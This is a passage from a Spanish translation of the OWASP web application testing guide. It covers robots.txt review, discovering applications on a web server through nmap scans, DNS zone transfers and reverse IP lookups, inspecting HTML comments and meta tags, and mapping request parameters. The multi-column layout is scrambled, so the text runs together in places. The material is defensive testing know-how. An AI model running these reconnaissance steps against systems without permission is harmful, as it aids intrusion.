Robots del archivo robots.txt en el directorio web principal [1]
www.net-square.com
Como ejemplo, el principio del archivo robots.txt de
http://www.google.com/robots.txt probado el 11 de agosto de 2013 se cita a
continuación:
• Anant Shrivastava: “Web Application Finger Printing”
anantshri.info
Remediación

46
El archivo robots.txt es recuperado del directorio principal (webroot) del servidor

User-agent: * web. Por ejemplo, para recuperar robots.txt de www.google.com usando “wget” o
“curl”:
Disallow: /search
Disallow: /sdch cmlh$ wget http://www.google.com/robots.txt
Disallow: /groups --2013-08-11 14:40:36-- http://www.google.com/robots.txt
Disallow: /images Resolving www.google.com... 74.125.237.17, 74.125.237.18,

74.125.237.19, ...
Disallow: /catalogs
Connecting to www.google.com|74.125.237.17|:80... connected.
HTTP request sent, awaiting response... 200 OK

La directiva de usuario-agente se refiere al web específico de
araña/robot/rastreador. Por ejemplo, el usuario-agente Googlebot se refiere al robot Length: unspecified [text/plain]
araña de Google mientras " Usuario-Agente: bingbot" [1] se refiere al rastreador de
Microsoft/Yahoo!. User-Agent: * En el ejemplo anterior se aplica a todas las Saving to: ‘robots.txt.’
arañas/robots/rastreadores web [2] como se cita a continuación:
User-agent: * [ <=> ] 7,074 --.-K/s in 0s
2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]

La directiva Disallow especifica qué recursos están prohibidos por las
arañas/robots/rastreadores. En el ejemplo anterior, están prohibidos directorios
como los siguientes:
cmlh$ head -n5 robots.txt
... User-agent: *
Disallow: /search Disallow: /search
Disallow: /sdch Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$ curl -O http://www.google.com/robots.txt
Disallow: /catalogs
% Total % Received % Xferd Average Speed Time Time
Time Current
Dload Upload Total Spent Left Speed

Las arañas, robots o rastreadores web pueden ignorar intencionalmente las
101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-- 27312
directivas Disallow especificadas en un archivo robots.txt [3], tales como las de las
redes sociales [2] para asegurarse de que los vínculos compartidos sean todavía
cmlh$ head -n5 robots.txt
válidos. Por lo tanto, robots.txt no debe considerarse como un mecanismo para
imponer restricciones de cómo el contenido web se debe acceder, almacenar o User-agent: *
volver a publicar por terceros.
Disallow: /search
Disallow: /sdch
robots.txt in el directorio principal con “wget” o “curl”
Disallow: /groups
Disallow: /images

47
(https://www.google.com/webmasters/tools). Esta herramienta puede ayudar con

las pruebas y el procedimiento es el siguiente:
1. Inscríbase a Google Webmaster Tools con una cuenta de Google.
2. En el panel de control, escriba la URL del sitio a analizar.
3. Elija entre los métodos disponibles y siga las instrucciones en la pantalla.
robots.txt in el directorio principal con rockspider
"rockspider" [3] automatiza la creación de las posibilidades iniciales de

arañas/robots/rastreadores de archivos y directorios o carpetas de un sitio web. Etiquetas META
Las etiquetas <META> se encuentran en la sección HEAD de cada documento

HTML y deben ser coherentes a través del sitio web en el evento probable de que el
Por ejemplo, para crear las posibilidades iniciales en la directiva autorizada de punto de partida de la araña/robot/rastreador no comience desde un vínculo de
www.google.com usando “rockspider”[4]: documento fuera del directorio principal (webroot), es decir, un "enlace profundo"
[5].
cmlh$ ./rockspider.pl -www www.google.com

Si no hay una entrada “<META NAME=”ROBOTS” ... >” entonces el
“Rockspider” Alpha v0.1_2

“Protocolo de Exclusión de Robots” usa la condición base de “INDEX,FOLLOW”
respectivamente. Entonces las otras dos entradas válidas definidas por el “Protocolo
de Exclusión de Robots” se preestablecen con “NO...” , es decir, “NOINDEX” y
Copyright 2013 Christian Heinrich “NOFOLLOW”.
Licensed under the Apache License, Version 2.0
Las arañas/robots/rastreadores web pueden ignorar deliberadamente la etiqueta

“<META NAME=”ROBOTS”” ya que se prefiere el acuerdo del archivo
1. Downloading http://www.google.com/robots.txt
robots.txt. Por lo tanto, las <META> etiquetas no deben considerarse el
mecanismo primario, sino más bien un control complementario a robots.txt.
2. “robots.txt” saved as “www.google.com-robots.txt”
3. Sending Allow: URIs of www.google.com to web proxy i.e. <META>Etiquetas - con Burp
127.0.0.1:8080
/catalogs/about sent
Basado en las directivas, de no permitir (Disallow), listadas en el archivo robots.txt
/catalogs/p? sent en el directorio principal, la búsqueda normal de una expresión " <META
name="”ROBOTS””" dentro de cada página web inicia y el resultado se compara
/news/directory sent
al archivo robots.txt en el directorio principal.
...
Por ejemplo, el archivo robots.txt de facebook.com tiene una entrada de "Disallow:

/ac.php" [6] y la consiguiente búsqueda de " <META name="”ROBOTS””"
Analice robots.txt utilizando las herramientas de Google Webmaster indicada a continuación
Los propietarios de sitios web pueden utilizar la función "Analize robots.txt" de

Google para analizar el sitio web como parte de su "Google Webmaster Tools"

48
Un paso fundamental en las pruebas de vulnerabilidades en aplicaciones web es

averiguar qué aplicaciones particulares están alojadas en un
servidor web. Muchas aplicaciones tienen vulnerabilidades y estrategias de ataque

conocidas que pueden ser explotadas para obtener el control remoto para explotar
los datos. Además, muchas aplicaciones se encuentran a menudo mal configuradas
o no están actualizadas, debido a la percepción de que sólo se utilizan
"internamente" y, por lo tanto, no existe amenaza.
Con la proliferación de servidores web virtuales, la relación tipo 1:1-tradicional

entre una dirección IP y un servidor web está perdiendo gran parte de su
Lo anterior podría considerarse un error, puesto que el " INDEX,FOLLOW " es la significado original. No es raro tener varios sitios web o aplicaciones cuyos
etiqueta <META> predeterminada por el "Protocolo de Exclusión de Robots", sin nombres simbólicos resulten en la misma dirección IP. Este escenario no se limita a
embargo, "Disallow: /ac.php" aparece en robots.txt. entornos de alojamiento (hosting), sino que también se aplica a los entornos
corporativos.
Herramientas
Los profesionales en seguridad a veces reciben un conjunto de direcciones IP como
• Buscador (Funcion de Ver Origen) un objetivo de pruebas. Es discutible que este escenario sea parecido a una relación
de tipo prueba de penetración, pero, en cualquier caso, se espera que dicha sesión
• curl pondría a prueba todas las aplicaciones web accesibles a través de este objetivo. El
problema es que la dirección IP aloja un servicio HTTP en el puerto 80, pero si un
• wget evaluador debe acceder especificando la dirección IP (que es todo lo que sabe)
reportará "Ningún servidor web configurado en esta dirección" o un mensaje
• rockspider[7] similar. Pero el sistema puede "ocultar" una serie de aplicaciones web, asociadas a
nombres simbólicos, sin relación del (DNS). Obviamente, el alcance del análisis se
ve afectado profundamente si el evaluador prueba todas las aplicaciones o sólo las
aplicaciones de las que está consciente.
Referencias
Libros Blancos
A veces, la especificación de destino es más rica. El evaluador puede recibir una
lista de direcciones IP y sus correspondientes nombres simbólicos. Sin embargo,
esta lista podría transmitir información parcial, es decir, podría omitir algunos
[1] “The Web Robots Pages” - http://www.robotstxt.org/ nombres simbólicos y el cliente podría ni siquiera estar consciente de aquello (esto
es más probable que ocurra en las grandes organizaciones).
[2] “Block and Remove Pages Using a robots.txt File” -
https://support.google.com/webmasters/answer/156449
[3] “(ISC)2 Blog: The Attack of the Spiders from the Clouds” - Otros temas que afectan el alcance de la evaluación están representados por
http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html aplicaciones web publicadas en URLs no evidentes (por ejemplo,
http://www.example.com/some-strange-URL), a las que no se hace referencia en
[4] “Telstra customer database exposed” - http://www.smh.com.au/it-pro/security- otros lugares. Esto puede suceder por error (debido a configuraciones incorrectas) o
it/telstra-customer-database-exposed-20111209-1on60.html intencionalmente (por ejemplo, interfaces administrativas no publicitadas).
Para abordar estos temas, es necesario realizar un descubrimiento de aplicaciones

Enumere las aplicaciones en el servidor web web.
(OTG-INFO-004)
Resumen Objetivos de la prueba

49
Enumerar las aplicaciones que existen dentro del ámbito en un servidor web evaluador sepa explícitamente cómo llegar a ellas, es decir, el evaluador sabe las
url1 y url2 url3. Generalmente no hay necesidad de publicar aplicaciones web de
esta manera, a menos que el propietario no desee que se encuentren accesibles de
una manera estándar y esté dispuesto a informar a los usuarios sobre su ubicación
Cómo probar exacta. Esto no quiere decir que estas aplicaciones son secretas, sólo que su
existencia y localización no son anunciadas explícitamente.
Pruebas de Caja Negra
El descubrimiento de aplicaciones web es un proceso dirigido a identificar

aplicaciones web en una infraestructura determinada. Este último se suele 2. Puertos no-estándar
especificar como un conjunto de direcciones IP (tal vez un bloque de red), pero
puede consistir de un conjunto de nombres simbólicos DNS o una mezcla de los Aunque las aplicaciones web generalmente se ubican en el puerto 80 (http) y 443
dos. Esta información se entrega antes de la ejecución de una evaluación, ya sea (https), no hay nada mágico acerca de estos números de puertos. De hecho, las
una prueba de penetración de estilo clásico o una evaluación enfocada en las aplicaciones web pueden estar asociadas con puertos TCP arbitrarios y pueden ser
aplicaciones. En ambos casos, a menos que las reglas de contratación especifiquen referenciados especificando el número de puerto como a continuación:
lo contrario (por ejemplo, "prueba sólo la aplicación ubicada en el http[s]://www.example.com:port/. Por ejemplo, http://www.example.com:20000/
http://www.example.com/ enlace"), la evaluación debe esforzarse por tener el
mayor alcance posible, es decir, debe identificar todas las aplicaciones accesibles a
través del objetivo dado. En los ejemplos siguientes constan algunas técnicas que
pueden emplearse para lograr este objetivo. 3. Hospedajes (host) virtuales
Las DNS permiten una dirección IP única asociada a uno o más nombres
simbólicos. Por ejemplo, la dirección IP 192.168.1.100 podría asociarse a los
Nota: Algunas de las técnicas siguientes se aplican a servidores de nombres DNS www.example.com, helpdesk.example.com y
webmail.example.com. No es necesario que todos los nombres pertenezcan al
mismo dominio DNS. Esta relación de 1 a N puede usarse para servir a diferentes
contenidos con los denominados hospedajes (host) virtuales. La información que
conexión a internet, es decir, DNS y servicios de búsqueda en la web de IP inversa especifica al host virtual al cual nos estamos refiriendo está incrustada en el
y el uso de motores de búsqueda. Los ejemplos hacen uso de la direcciones IP encabezado HTTP 1.1 [1].
privadas (por ejemplo 192.168.1.100), que, a menos que se indique lo contrario,
representan direcciones IP genéricas y son utilizadas solamente con el propósito del
anonimato.
Uno no podría sospechar de la existencia de otras aplicaciones web adicionales a la
obvia www.example.com, a menos que sepan de helpdesk.example.com y
webmail.example.com.
Hay tres factores que influyen en cuantas aplicaciones están relacionadas con un
determinado nombre DNS (o una dirección IP):
Los enfoques para encarar la situación 1 - URLs no estándar
1. URL con bases diferentes No hay ninguna manera de comprobar totalmente la existencia de aplicaciones web
sin el nombre estándar. Al ser no estándar, no hay criterios establecidos o
El punto de entrada obvio de una aplicación web es www.example.com, es decir, convenidos para la nomenclatura, sin embargo, hay una serie de técnicas que puede
con esta nominación abreviada pensamos que la aplicación web se origina en utilizar el evaluador para obtener información adicional.
http://www.example.com/ (lo mismo se aplica para https). Sin embargo, a pesar de
que esta es la situación más común, no hay nada que obligue a la aplicación para
que empiece en "/".
En primer lugar, si el servidor web está mal configurado y permite navegar por el
directorio, es posible detectar estas aplicaciones. Los escáneres de vulnerabilidad
pueden ayudar en este sentido.
Por ejemplo, el mismo nombre simbólico puede ser asociado a tres aplicaciones
web tales como: http://www.example.com/url1 http://www.example.com/url2
http://www.example.com/url3
En segundo lugar, estas aplicaciones pueden estar referenciadas por otras páginas
En este caso, el enlace http://www.example.com/ no estaría asociado con una web y hay la posibilidad de que hayan sido procesadas por un robot araña e
página significativa, y las tres aplicaciones estarían "ocultas", a menos que el indexadas por los motores de búsqueda web. Si los evaluadores sospechan de la

50
existencia de este tipo de aplicaciones "ocultas" en www.example.com lo podrían De este ejemplo uno puede ver que:
buscar utilizando el operador del sitio web y examinar el resultado de una consulta
para "site: www.example.com". Entre los URLs devueltos podrían haber algunos
apuntando a una aplicación no tan obvia.
• Hay un servidor de http Apache corriendo en el puerto 80.
• Parece que hay un servidor https en el puerto 443 (pero esto debe ser confirmado,
Otra opción es sondear URL que podrían ser candidatos probables para por ejemplo, visitando https://192.168.1.100 con un navegador)
aplicaciones no publicadas. Por ejemplo, un correo web frontal puede ser accesible
desde la URL https://www.example.com/webmail, https://webmail.example.com/ o • En el puerto 901hay una interfaz de web de Samba SWAT.
https://mail.example.com/. Lo mismo se aplica para interfaces administrativas, que
pueden ser publicadas en URL ocultas (por ejemplo, una interfaz administrativa • El servicio en Puerto 1241 no es https, pero es el demonio Nessus enlazado al
Tomcat) y, sin embargo, no hacen referencia en ningún lugar. Así que haciendo un SSL.
poco de búsqueda de estilo diccionario (o "adivinanza inteligente") podría arrojar
algunos resultados. Los escáneres de vulnerabilidad pueden ayudar en este caso. • El puerto 3690 ofrece un servicio no especificado (nmap devuelve su huella
digital - aquí ha sido omitida por claridad - junto a las instrucciones para su
incorporación en la base de datos de huellas dactilares nmap, siempre y cuando
usted sepa qué servicio representa).
Enfoques para solucionar el tema 2 - puertos no estándar
• Otro servicio no identificado en el puerto 8000. Esto posiblemente podría ser un
Es fácil comprobar la existencia de aplicaciones web en puertos no estándar. Un http, ya que no es raro encontrar servidores de http en este puerto. Vamos a
escáner de puertos como nmap [2] es capaz de realizar el reconocimiento de examinar esta cuestión:
servicio mediante la opción - sV e identificará los servicios http [s] en puertos
arbitrarios. Lo que se requiere es un análisis completo de los 64k de espacio del
puerto TCP.
Puertos interesantes en 192.168.1.100:
(Los 65527 puertos escaneados, pero que no se muestran abajo, son los
Por ejemplo, el siguiente comando buscará, con un escaner de conección TCP,
que están en estado cerrado)
todos los puertos abiertos en la IP 192.168.1.100 y tratará de determinar qué
servicios están atados a ellos (sólo se muestran los modificadores esenciales –
PORT STATE SERVICE VERSION
nmap ofrece un amplio conjunto de opciones, cuya discusión está fuera de
alcance): 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))
nmap –PN –sT –sV –p0-65535 192.168.1.100 443/tcp open ssl OpenSSL
Esto confirma que en realidad es un servidor HTTP. Alternativamente, los

evaluadores podrían haber visitado la URL con un navegador web, o utilizar los
Es suficiente examinar la salida y buscar el http o la indicación de servicios comandos Perl GET o HEAD que imitan interacciones HTTP como las
enlazados al SSL (que debe ser investigado para confirmar que son https). Por mencionadas anteriormente (sin embargo, las solicitudes HEAD pueden no ser
ejemplo, la salida del comando anterior podría verse así: respetadas por todos los servidores).
Apache Tomcat corriendo en un puerto 8080

901/tcp open http Samba SWAT administration server
1241/tcp open ssl Nessus security scanner

La misma tarea puede realizarse por escáneres de vulnerabilidad, pero primero
3690/tcp open unknown compruebe que el escáner escogido es capaz de identificar los servicios http[s] que
corren en puertos no estándar. Por ejemplo, Nessus [3] es capaz de identificarlos en
8000/tcp open http-alt? puertos arbitrarios (siempre y cuando sea instruido para escanear todos los puertos)
y proporcionará, en relación con nmap, una serie de pruebas de vulnerabilidades
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 conocidas de servidores web, así como en la configuración SSL de servicios https.
Como se indicó anteriormente, Nessus también es capaz de identificar aplicaciones
51
populares o interfaces web que, de lo contrario, podrían pasar desapercibidas (por www.example.com y el no tan obvio helpdesk.example.com y
ejemplo, una interfaz de administración de Tomcat). webmail.example.com (y probablemente otros). Revise todos los nombres
devueltos por la transferencia de zona y considere a todos aquellos que se
relacionan con el objetivo a ser evaluado.
Enfoques para solucionar el tema 3 - hosts virtuales
Hay una serie de técnicas que pueden utilizarse para identificar nombres DNS Tratando de solicitar una transferencia de zona para owasp.org desde uno de los
asociados a una dirección IP determinada x.y.z.t. nombres de servidor:
$ host -l www.owasp.org ns1.secure.net
Using domain server:

Transferencias de Zonas DNS
Name: ns1.secure.net
Esta técnica tiene un uso limitado en la actualidad, dado el hecho de que las
transferencias de zonas, en su mayoría, no son respetadas por servidores DNS. Sin Address: 192.220.124.10#53
embargo, puede valer la pena intentarlo. En primer lugar, los evaluadores deberán
Aliases:
determinar los servidores de nombres que sirven x.y.z.t. Si se conoce un nombre
simbólico para x.y.z.t (sea www.example.com), los nombres de los servidores
pueden ser determinados por medio de herramientas como nslookup, host, o dig,
solicitando registros DNS NS.
Host www.owasp.org not found: 5(REFUSED)
Si no conoce ningún nombre simbólico para x.y.z.t, pero la definición de destino

contiene al menos un nombre simbólico, los evaluadores pueden probar aplicando
el mismo proceso y consultar el nombre del servidor de ese nombre (con la Consultas Inversas de DNS
esperanza de que x.y.z.t sea servido también por el servidor del mismo nombre).
Por ejemplo, si el objetivo consiste en la dirección IP x.y.z.t y el nombre Este proceso es similar al anterior, pero se basa en registros DNS (PTR) inversos.
mail.example.com, determine los nombres de los servidores para el dominio En lugar de solicitar una transferencia de zona, intente establecer el tipo de registro
example.com. como PTR y emita una consulta en la dirección IP. Si los evaluadores tienen suerte,
pueden recibir de vuelta una entrada con un nombre DNS. Esta técnica se basa en
la existencia de mapas de nombres IP, símbolos, lo que no está garantizado.
El siguiente ejemplo muestra cómo identificar el nombre de los servidores de

www.owasp.org usando el comando de alojamiento:
Búsquedas DNS basadas en la web
$ host -t ns www.owasp.org
Este tipo de búsqueda es similar a la transferencia de zonas de DNS, pero se basa
en servicios web que permiten búsquedas basadas en el nombre de DNS. Uno de
www.owasp.org is an alias for owasp.org.
estos servicios es el de búsqueda de DNS de Netcraft, disponible en
owasp.org name server ns1.secure.net. http://searchdns.netcraft.com/?host. El evaluador puede consultar una lista de
nombres que pertenecen a su dominio elegido, como example.com. Luego
owasp.org name server ns2.secure.net. comprobarán si los nombres que obtuvieron son pertinentes al objetivo que están
estudiando.
Servicios de IP inversa
Los servicios de IP inversa son similares a las consultas inversas de DNS, con la
Una transferencia de zona puede solicitarse ahora a los nombres de los servidores diferencia que los evaluadores consultan una aplicación web en lugar de un nombre
para el dominio example.com. Si el evaluador es afortunado, recibirá una lista de de servidor. Hay una cantidad de servicios disponibles. Ya que tienden a devolver
las entradas DNS de este dominio. Esto incluirá el obvio resultados parciales (y a menudo diferentes), es mejor utilizar varios servicios para
obtener un análisis más exhaustivo.

52
Domain tools reverse IP: domaintools.com
(requires free membership)
MSN search: search.msn.com
(syntax: “ip:x.x.x.x” (without the quotes)
Webhosting info: whois.webhosting.info
(syntax: http://whois.webhosting.info/x.x.x.x)
Googlear
Siguiendo la información recopilada mediante las técnicas anteriores, los

DNSstuff: dnsstuff.com (multiple services available) evaluadores pueden confiar en los motores de búsqueda y posiblemente refinar e
incrementar su análisis. Esto podría ceder evidencia de nombres simbólicos
adicionales pertenecientes al objetivo o aplicaciones accesibles a través de URLs
no-obvios.
net-square: net-square.com ¶(multiple queries on domains and IP addresses,
requires installation)
Por ejemplo, teniendo en cuenta el ejemplo anterior sobre www.owasp.org, el

evaluador podría consultar Google y otros motores de búsqueda indagando
tomDNS: tomdns.net
información (entiéndase, los nombres DNS) relacionados con los nuevos
dominios recientemente descubiertos de webgoat.org, webscarab.com y
(some services are still private at the time of writing)
webscarab.net.
SEOlogs.com: seologs.com ¶(reverse-IP/domain lookup)

Las técnicas para Googlear se explican en pruebas: arañas, robots y
rastreadores.
En el ejemplo siguiente se muestra el resultado de una consulta a uno de los

servicios de IP inversa anteriores para 216.48.3.18, la dirección IP de
Pruebas de Caja Gris
www.owasp.org. Tres asignaciones de nombres simbólicos no obvios
No son aplicables. La metodología es igual a la que se describió en las
pruebas de Caja Negra, no importa cuánta información tiene el evaluador al
inicio.
adicionales a la misma dirección han sido revelados.
Herramientas
• Herramientas de búsqueda DNS como nslookup, dig y similares.
• Motores de búsqueda (Google, Bing y otros motores de búsqueda

principales).
• Servicios especializados relacionados con DNS basado en la web: ver texto.

53
• Nmap - insecure.org
...
• Nessus Vulnerability Scanner - nessus.org
• Nikto - cirt.net
<div class=”table2”>
<div class=”col1”>1</div><div class=”col2”>Mary</div>
Referencias <div class=”col1”>2</div><div class=”col2”>Peter</div>
Libros Blancos <div class=”col1”>3</div><div class=”col2”>Joe</div>
[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1

Revise los comentarios sobre el sitio web y los

</div>
metadatos en busca de fugas de información
El evaluador puede incluso encontrar algo como esto:
(OTG-INFO-005)
Resumen 
Es muy común e incluso recomendable para los programadores el incluir
comentarios detallados y metadatos en su código fuente. Sin embargo, los
comentarios y metadatos incluidos en el código HTML podrían revelar
Revise la información de la versión HTML en busca de números de versión válidos
y Definición de Tipo de Datos (DTD) de URLs
información interna que no debería estar disponible a atacantes potenciales. Los

comentarios y metadatos deben ser revisados con el fin de determinar si hay fugas <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01//EN”
de información. “http://www.w3.org/TR/html4/strict.dtd”>
Objetivos de la prueba • “strict.dtd” -- default strict DTD
Revise los comentarios y metadatos de la página web para entender mejor la • “loose.dtd” -- loose DTD
aplicación y encontrar cualquier fuga de información.
• “frameset.dtd” -- DTD for frameset documents
Cómo probar Los comentarios HTML son utilizados por los desarrolladores para
incluir información sobre la depuración de la aplicación. A veces se olvidan de los Algunas Metaetiquetas no proveen vectores de ataque activos, sino más bien
comentarios y se quedan en la producción. Los evaluadores deben busquar permiten a un atacante hacer un perfil de la aplicación
comentarios en HTML que comienzan con "".
<META name=”Author” content=”Andrew Muller”>
Compruebe el código HTML en busca de comentarios que contengan información

sensible que pueda ayudar al atacante a conocer más de cerca la aplicación. Algunas Meta etiquetas HTTP modifican los encabezados de respuesta, como http-
Podrían ser códigos SQL, nombres de usuario y contraseñas, direcciones IP equiv que establece un encabezado de respuesta HTTP basado en el atributo del
internas o información de depuración. contenido de un meta elemento, tal como:

54
La plataforma para la selección de contenido de Internet (PICS) y el protocolo de

<META http-equiv=”Expires” content=”Fri, 21 Dec 2012 12:34:56 recursos de Descripción Web (POWDER) proporcionan infraestructura para
GMT”> asociar metadatos con contenido de Internet.
que resultará en el encabezado HTTP: Pruebas de Caja Gris
Expires: Fri, 21 Dec 2012 12:34:56 GMT

No aplicable.
Y
Herramientas
• Wget
<META http-equiv=”Cache-Control” content=”no-cache”>
• Browser “view source” function
• Eyeballs
Resultará en
• Curl
Cache-Control: no-cache
Referencias
Pruebe para ver si esto puede utilizarse para llevar a cabo ataques de inyección (por
ejemplo ataques CRLF). También puede ayudar a determinar el nivel de fuga de Libros Blancos
datos a través de la caché del navegador.
[1] HTML version 4.01: w3.org
Una Meta etiqueta común (pero no obediente en WCAG) es la actualización.
[2] XHTML (for small devices): w3.org
<META http-equiv=”Refresh”
[3] HTML version 5 : w3.org
content=”15;URL=https://www.owasp.org/index.html”>
GMT”>
Identificar puntos de entrada de la aplicación

(OTG-INFO-006)
Un uso común para una Meta etiqueta es especificar palabras clave que un motor
de búsqueda podría usar para mejorar la calidad de los resultados. Resumen
<META name=”keywords” lang=”en-us” content=”OWASP, security, Enumerar la aplicación y su superficie de ataque es un precursor clave antes que
sunshine, lollipops”> cualquier prueba de fondo puede llevarse a cabo, ya que
GMT”>
permite al evaluador identificar probables áreas de debilidad. Esta sección

Aunque la mayoría de servidores web administran la indexación de los motores de
pretende ayudar a identificar y mapear las áreas dentro de la aplicación que
búsqueda mediante el archivo robots.txt, también pueden ser gestionados por Meta
deben investigarse una vez que la enumeración y el mapeo se han completado.
etiquetas. La etiqueta a continuación recomendará a los robots que no indexen y no
sigan enlaces de la página HTML que contienen la etiqueta.
<META name=”robots” content=”none”> Objetivos de la prueba

55
Entender cómo se forman las solicitudes y las respuestas típicas de la aplicación. Una vez que ha mapeado cada área de la aplicación, puede ir a través de la
aplicación y probar cada una de las áreas que ha identificado y tomar notas de lo
que funcionó y lo que no funcionó. El resto de esta guía identificará cómo se
prueba cada una de estas áreas de interés, pero esta sección debe realizarse antes
Cómo probar de que la prueba real pueda comenzar.
Antes de cualquier prueba, el evaluador debe tener siempre una buena

comprensión de la aplicación y de cómo el usuario y el navegador se
comunican con él. Mientras el evaluador recorre a través de la aplicación,
debe prestar atención especial a todas las solicitudes HTTP (métodos GET y
POST, también conocidos como Verbos), así como cada parámetro y campo A continuación se presentan algunos puntos de interés para todas las solicitudes
de forma que se pasa a la aplicación. Además, debe prestar atención cuando se y respuestas. Dentro de la sección de peticiones, concéntrese en los métodos
utilizan las solicitudes GET y cuando las solicitudes POST para pasar GET y POST, ya que en éstos aparecen la mayoría de las solicitudes. Tenga en
parámetros a la aplicación. Es muy común que se utilicen las solicitudes GET, cuenta que otros métodos, como PUT y DELETE, se pueden utilizar. A menudo,
pero cuando se pasa información sensible, a menudo se realiza dentro del estas solicitudes más raras pueden también exponer vulnerabilidades. Hay una
cuerpo de una petición POST. sección especial en esta guía dedicada a probar estos métodos HTTP.
Note que para ver los parámetros enviados en una petición POST, el Solicitudes:
evaluador tendrá que utilizar una herramienta como un interceptador de proxy
(por ejemplo, el OWASP: Zed Attack Proxy (ZAP)) o un complemento del
navegador. Dentro de la solicitud POST, el evaluador debe también poner
atención especial a cualquier campo oculto que se esté pasando a la • Identificar dónde se utilizan peticiones GET y POST.
aplicación, ya que estos generalmente contienen información confidencial,
como información sobre el estado, cantidad de artículos o el precio de los • Identificar todos los parámetros en las peticiones POST (estos son en el cuerpo
artículos que el desarrollador nunca quiso que usted pudiera ver o cambiar. de la solicitud)
• Preste especial atención a los parámetros ocultos en la petición POST. Cuando

una petición POSTes enviada, todos los campos del formulario (incluyendo
En la experiencia del autor, ha sido muy útil utilizar un interceptador de proxy parámetros ocultos) se enviarán en el cuerpo del mensaje HTTP a la aplicación.
y una hoja de cálculo para esta etapa de la prueba. El proxy hará el Estos normalmente no son vistos a menos que se utilice un proxy o se vea el
seguimiento de cada solicitud y respuesta entre el evaluador y la aplicación código fuente del HTML. Además, la página siguiente que se muestra, sus datos
mientras él o ella recorre a través de él. y el nivel de acceso pueden todos ser diferentes dependiendo del valor de los
parámetros ocultos.
• Identifique todos los parámetros utilizados en una petición GET (es decir, la
Adicionalmente, en este punto, el evaluador normalmente atrapa cada URL), en particular la cadena de consulta (generalmente después de un signo ?).
solicitud y respuesta para que él pueda ver exactamente cada encabezado,
parámetro, etc., que pasa a la aplicación y lo que devuelve. Esto puede ser • Identifique todos los parámetros de la cadena de consulta. Estos generalmente
bastante tedioso a veces, especialmente para sitios grandes e interactivos están en pares, como foo = bar. También tenga en cuenta que muchos de los
bancaria). Sin embargo, la experiencia le
(piense en una aplicación parámetros pueden estar en una cadena de consulta separados por un &, ~,:, o
cualquier otro carácter especial o codificación.
dirá al evaluador qué es lo que debe buscar y el tiempo
utilizado durante esta fase puede reducirse significativamente.
• Una nota especial cuando se trata de identificar varios parámetros en una

cadena dentro de una solicitud POST es que algunos o todos los parámetros
Mientras el evaluador recorre a través de la aplicación, debe tomar nota de todos serán necesarios para ejecutar los ataques. El evaluador debe identificar todos
los parámetros interesantes en la URL, encabezados personalizados o cuerpo de los parámetros (incluso si están codificados o encriptados) e identificar los que
las peticiones/respuestas y guardarlas en una hoja de cálculo. La hoja de cálculo son procesados por la aplicación. Las secciones posteriores de la guía van a
debe incluir la página solicitada (sería bueno añadir también el número de identificar cómo medir estos parámetros. En este punto, sólo asegúrese de que
solicitud del proxy, para referencias futuras), los parámetros de interés, el tipo de cada uno sea identificado.
solicitud (POST/GET), si el acceso es autenticado/no autenticado, si se usa SSL,
si es parte de un proceso de pasos multiples y otras notas pertinentes. • También preste atención a cualquier encabezado adicional o personalizado que
no sea común (como debug = False).

56
Respuestas: EJEMPLO 2
En este ejemplo se muestra una solicitud POST que debería conectarle a una
aplicación.
• Identifique dónde se establecen nuevas cookies (encabezado Set-Cookie),
modifican o añaden.
POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?-
• Identifique dónde hay redireccionamientos (estado de código 3xx HTTP)
códigos de estado 400, en especial 403 Prohibido (Forbiden) y 500 errores de service=login
servidor interno (internal server errors) durante las respuestas normales (es
Host: x.x.x.x
decir, sin modificar solicitudes).
Cookie:
• También note dónde se utiliza cualquier encabezado interesante. Por ejemplo,
SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIH
"Server: BIG-IP" indica que el sitio tiene su carga equilibrada. Aunque si un
ByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIz
sitio tiene su carga equilibrada y un servidor está configurado incorrectamente,
NA==
entonces el evaluador podría tener que hacer varias solicitudes para acceder al
servidor vulnerable, dependiendo del tipo de equilibrio de carga usado.
CustomCookie=00my00trusted00ip00is00x.x.x.x00
Cuerpo del mensaje POST:

Probando en busca de puntos de entrada a la aplicación user=admin&pass=pass123&debug=true&fromtrustIP=true
Los siguientes son dos ejemplos de cómo buscar puntos de entrada a la

aplicación.
Result Expected:
EJEMPLO 1
En este ejemplo el evaluador debe anotar todos los parámetros como lo hizo
Este ejemplo muestra una solicitud GET que debería adquirir un elemento de antes, pero observe que los parámetros se pasan en el cuerpo del mensaje y no en
una aplicación de compras en línea. la URL. Además, tenga en cuenta que hay una cookie personalizada que está
siendo utilizada.
GET
https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM= Pruebas de Caja Gris
z101a&PRICE=62.50&IP=x.x.x.x
Probar en busca de puntos de entrada de la aplicación a través de una
Host: x.x.x.x metodología de Caja Gris consistiría en todo lo ya identificado anteriormente
con una adición. En los casos donde hay fuentes externas de las que la aplicación
Cookie: recibe datos y los procesa (tales como trampas SNMP, mensajes syslog,
SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIG
mensajes SMTP o SOAP de otros servidores) una reunión con los
ZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
desarrolladores de la aplicación podría identificar las funciones que aceptan o
esperan el ingreso de datos del usuario y cómo están formateados. Por ejemplo,
el desarrollador podría ayudar a entender cómo formular una petición SOAP
correcta que aceptaría la aplicación y dónde reside el servicio web (si el servicio
web o cualquier otra función no ha sido identificada durante las pruebas de Caja
Negra).
Result Expected:
Aquí el evaluador debe anotar todos los parámetros de la petición tales como
CUSTOMERID, ITEM, PRICE, IP y las cookies (que podrían ser sólo Herramientas
parámetros codificados o utilizadas para el estado de sesión).
Proxy de intercepción:

57
• OWASP: Zed Attack Proxy (ZAP) Hay varias maneras de acercarse a las pruebas y a la medición de la cobertura del
código:
• OWASP: WebScarab
• Burp Suite
• Ruta - Pruebe cada uno de los caminos a través de una aplicación que incluye
